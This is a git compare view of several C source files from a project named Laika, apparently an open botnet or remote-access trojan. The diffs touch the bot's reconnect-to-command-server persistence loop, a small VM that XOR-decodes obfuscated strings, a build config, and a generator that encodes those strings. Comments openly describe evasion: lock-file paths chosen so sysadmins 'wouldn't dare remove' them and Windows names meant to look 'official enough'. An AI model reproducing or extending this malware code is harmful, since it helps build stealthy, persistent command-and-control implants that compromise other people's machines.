Compare commits

..

No commits in common. "7c4a5ddc8c0aa668719d53551227d5bd9d728a17" and "a1c49edda155e48a538e37f7e3ba2c7277f3931b" have entirely different histories.

5 changed files with 25 additions and 37 deletions

View File

@ -9,10 +9,6 @@
#include <stdio.h> #include <stdio.h>
/* if LAIKA_PERSISTENCE is defined, this will specify the timeout for
retrying to connect to the CNC server */
#define LAIKA_RETRY_CONNECT 5
#ifdef _WIN32 #ifdef _WIN32
# ifndef LAIKA_DEBUG_BUILD # ifndef LAIKA_DEBUG_BUILD
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
@ -58,9 +54,9 @@ int main()
laikaB_freeBot(bot); laikaB_freeBot(bot);
#ifdef LAIKA_PERSISTENCE #ifdef LAIKA_PERSISTENCE
# ifdef _WIN32 # ifdef _WIN32
Sleep(LAIKA_RETRY_CONNECT*1000); Sleep(5000);
# else # else
sleep(LAIKA_RETRY_CONNECT); sleep(5);
# endif # endif
} while (1); } while (1);

View File

@ -63,15 +63,13 @@ struct sLaikaB_box
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */ # define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
#endif #endif
/* clang-format off */
/* ======================================[[ Laika Boxes ]]====================================== */ /* ======================================[[ Laika Boxes ]]====================================== */
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */ /* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
#define LAIKA_BOX_SKID(_key) \ #define LAIKA_BOX_SKID(_key) \
{ \ { \
.unlockedData = {0}, /* reserved */ \ .unlockedData = {0}, /* reserved */ \
.code = { /* stack layout: \ .code = { /* stack layout: \
[0] - unlockedData (ptr) \ [0] - unlockedData (ptr) \
[1] - data (ptr) \ [1] - data (ptr) \
[2] - key (uint8_t) \ [2] - key (uint8_t) \
@ -85,7 +83,7 @@ struct sLaikaB_box
LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */ \ LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */ \
LAIKA_MAKE_VM_IA(OP_INCPTR, 0), \ LAIKA_MAKE_VM_IA(OP_INCPTR, 0), \
LAIKA_MAKE_VM_IA(OP_INCPTR, 1), \ LAIKA_MAKE_VM_IA(OP_INCPTR, 1), \
LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \ LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \
OP_EXIT \ OP_EXIT \
} \ } \
} }
@ -101,7 +99,7 @@ LAIKA_FORCEINLINE void *laikaB_unlock(struct sLaikaB_box *box, void *data)
[LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch), [LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch),
[LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data), [LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data),
}, },
.code = {0}, /* zero initalized */ .code = {0}, /* zero initalized */
.stack = {0}, /* zero initalized */ .stack = {0}, /* zero initalized */
.pc = 0 .pc = 0
}; };
@ -118,8 +116,6 @@ LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box)
sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE); sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
} }
/* clang-format on */
/* include KEY_* & DATA_* macros for each obfuscated string */ /* include KEY_* & DATA_* macros for each obfuscated string */
#include "lboxconfig.h" #include "lboxconfig.h"

View File

@ -13,16 +13,16 @@
#define LAIKA_CNC_PORT "@LAIKA_CNC_PORT@" #define LAIKA_CNC_PORT "@LAIKA_CNC_PORT@"
/* settings */ /* settings */
#cmakedefine LAIKA_DEBUG_BUILD
#cmakedefine LAIKA_PERSISTENCE #cmakedefine LAIKA_PERSISTENCE
#cmakedefine LAIKA_OBFUSCATE #cmakedefine LAIKA_OBFUSCATE
#cmakedefine LAIKA_DEBUG_BUILD
/* raw obfuscated strings */ /* raw obfuscated strings */
/* =====================================[[ Linux Strings ]]===================================== */ /* =====================================[[ Linux Strings ]]===================================== */
/* we want a semi-random file lock that is stable between similar builds, /* we want a semi-random file lock that is stable between similar builds,
* so we use the GIT_VERSION as our file lock :D */ * so we use the GIT_VERSION as our file lock :D */
#define LAIKA_LIN_LOCK_FILE "/tmp/" LAIKA_VERSION_COMMIT #define LAIKA_LIN_LOCK_FILE "/tmp/" LAIKA_VERSION_COMMIT
/* most sysadmins probably wouldn't dare remove something named '.sys/.update' */ /* most sysadmins probably wouldn't dare remove something named '.sys/.update' */
@ -33,8 +33,8 @@
/* ====================================[[ Windows Strings ]]==================================== */ /* ====================================[[ Windows Strings ]]==================================== */
/* we want a semi-random mutex that is stable between similar builds, /* we want a semi-random mutex that is stable between similar builds,
* so we use the GIT_VERSION as our mutex :D */ * so we use the GIT_VERSION as our mutex :D */
#define LAIKA_WIN_MUTEX LAIKA_VERSION_COMMIT ".0" #define LAIKA_WIN_MUTEX LAIKA_VERSION_COMMIT ".0"
/* looks official enough */ /* looks official enough */

@ -1 +1 @@
Subproject commit f568ff02f1bed155ea598c0e803ef3c9db2703d2 Subproject commit a606dc79ed346b7c9db6df9ceedd1c3361afcf95

View File

@ -13,12 +13,11 @@
} while (0); } while (0);
#define RANDBYTE (rand() % UINT8_MAX) #define RANDBYTE (rand() % UINT8_MAX)
static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c */\n" static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c "
"#ifndef LAIKA_VMBOX_CONFIG_H\n" "*/\n#ifndef LAIKA_VMBOX_CONFIG_H\n#define LAIKA_VMBOX_CONFIG_H\n\n";
"#define LAIKA_VMBOX_CONFIG_H\n\n";
static const char *POSTAMBLE = "\n#endif\n"; static const char *POSTAMBLE = "\n#endif\n";
static void writeArray(FILE *out, uint8_t *data, int sz) void writeArray(FILE *out, uint8_t *data, int sz)
{ {
int i; int i;
@ -29,18 +28,18 @@ static void writeArray(FILE *out, uint8_t *data, int sz)
fprintf(out, "0x%02x};\n", data[sz - 1]); fprintf(out, "0x%02x};\n", data[sz - 1]);
} }
static void writeDefineArray(FILE *out, char *ident, uint8_t *data) void writeDefineArray(FILE *out, char *ident, uint8_t *data)
{ {
fprintf(out, "#define %s ", ident); fprintf(out, "#define %s ", ident);
writeArray(out, data, LAIKA_VM_CODESIZE); writeArray(out, data, LAIKA_VM_CODESIZE);
} }
static void writeDefineVal(FILE *out, char *ident, int data) void writeDefineVal(FILE *out, char *ident, int data)
{ {
fprintf(out, "#define %s 0x%02x\n", ident, data); fprintf(out, "#define %s 0x%02x\n", ident, data);
} }
static void addPadding(uint8_t *data, int start) void addPadding(uint8_t *data, int start)
{ {
int i; int i;
@ -50,15 +49,15 @@ static void addPadding(uint8_t *data, int start)
} }
} }
static void makeSKIDdata(char *data, int sz, uint8_t *buff, int key) void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
{ {
int i; int i;
for (i = 0; i < sz; i++) for (i = 0; i < sz; i++)
buff[i] = data[i] ^ key; buff[i] = data[i] ^ key;
buff[i++] = key; /* add the null terminator (key ^ key = 0x00) */ buff[i++] = key; /* add the null terminator */
addPadding(buff, i); /* fill in the remaining bytes with semi-rand padding */ addPadding(buff, i);
} }
#define MAKESKIDDATA(macro) \ #define MAKESKIDDATA(macro) \
@ -70,17 +69,14 @@ static void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
int main(int argv, char **argc) int main(int argv, char **argc)
{ {
uint8_t tmpBuff[LAIKA_VM_CODESIZE]; uint8_t tmpBuff[LAIKA_VM_CODESIZE];
FILE *out;
char *fileName;
int key; int key;
FILE *out;
if (argv < 2) if (argv < 2)
ERR("USAGE: %s [OUTFILE]\n", argv > 0 ? argc[0] : "BoxGen"); ERR("USAGE: %s [OUTFILE]\n", argv > 0 ? argc[0] : "BoxGen");
/* open output file */ if ((out = fopen(argc[1], "w+")) == NULL)
fileName = argc[1]; ERR("Failed to open %s!\n", argc[1]);
if ((out = fopen(fileName, "w+")) == NULL)
ERR("Failed to open %s!\n", fileName);
srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to
slow them down */ slow them down */
@ -104,8 +100,8 @@ int main(int argv, char **argc)
fprintf(out, POSTAMBLE); fprintf(out, POSTAMBLE);
fclose(out); fclose(out);
printf("Laika VMBox data header dumped to '%s'\n", fileName); printf("Wrote %s\n", argc[1]);
return 0; return 0;
} }
#undef MAKESKIDDATA #undef MAKEDATA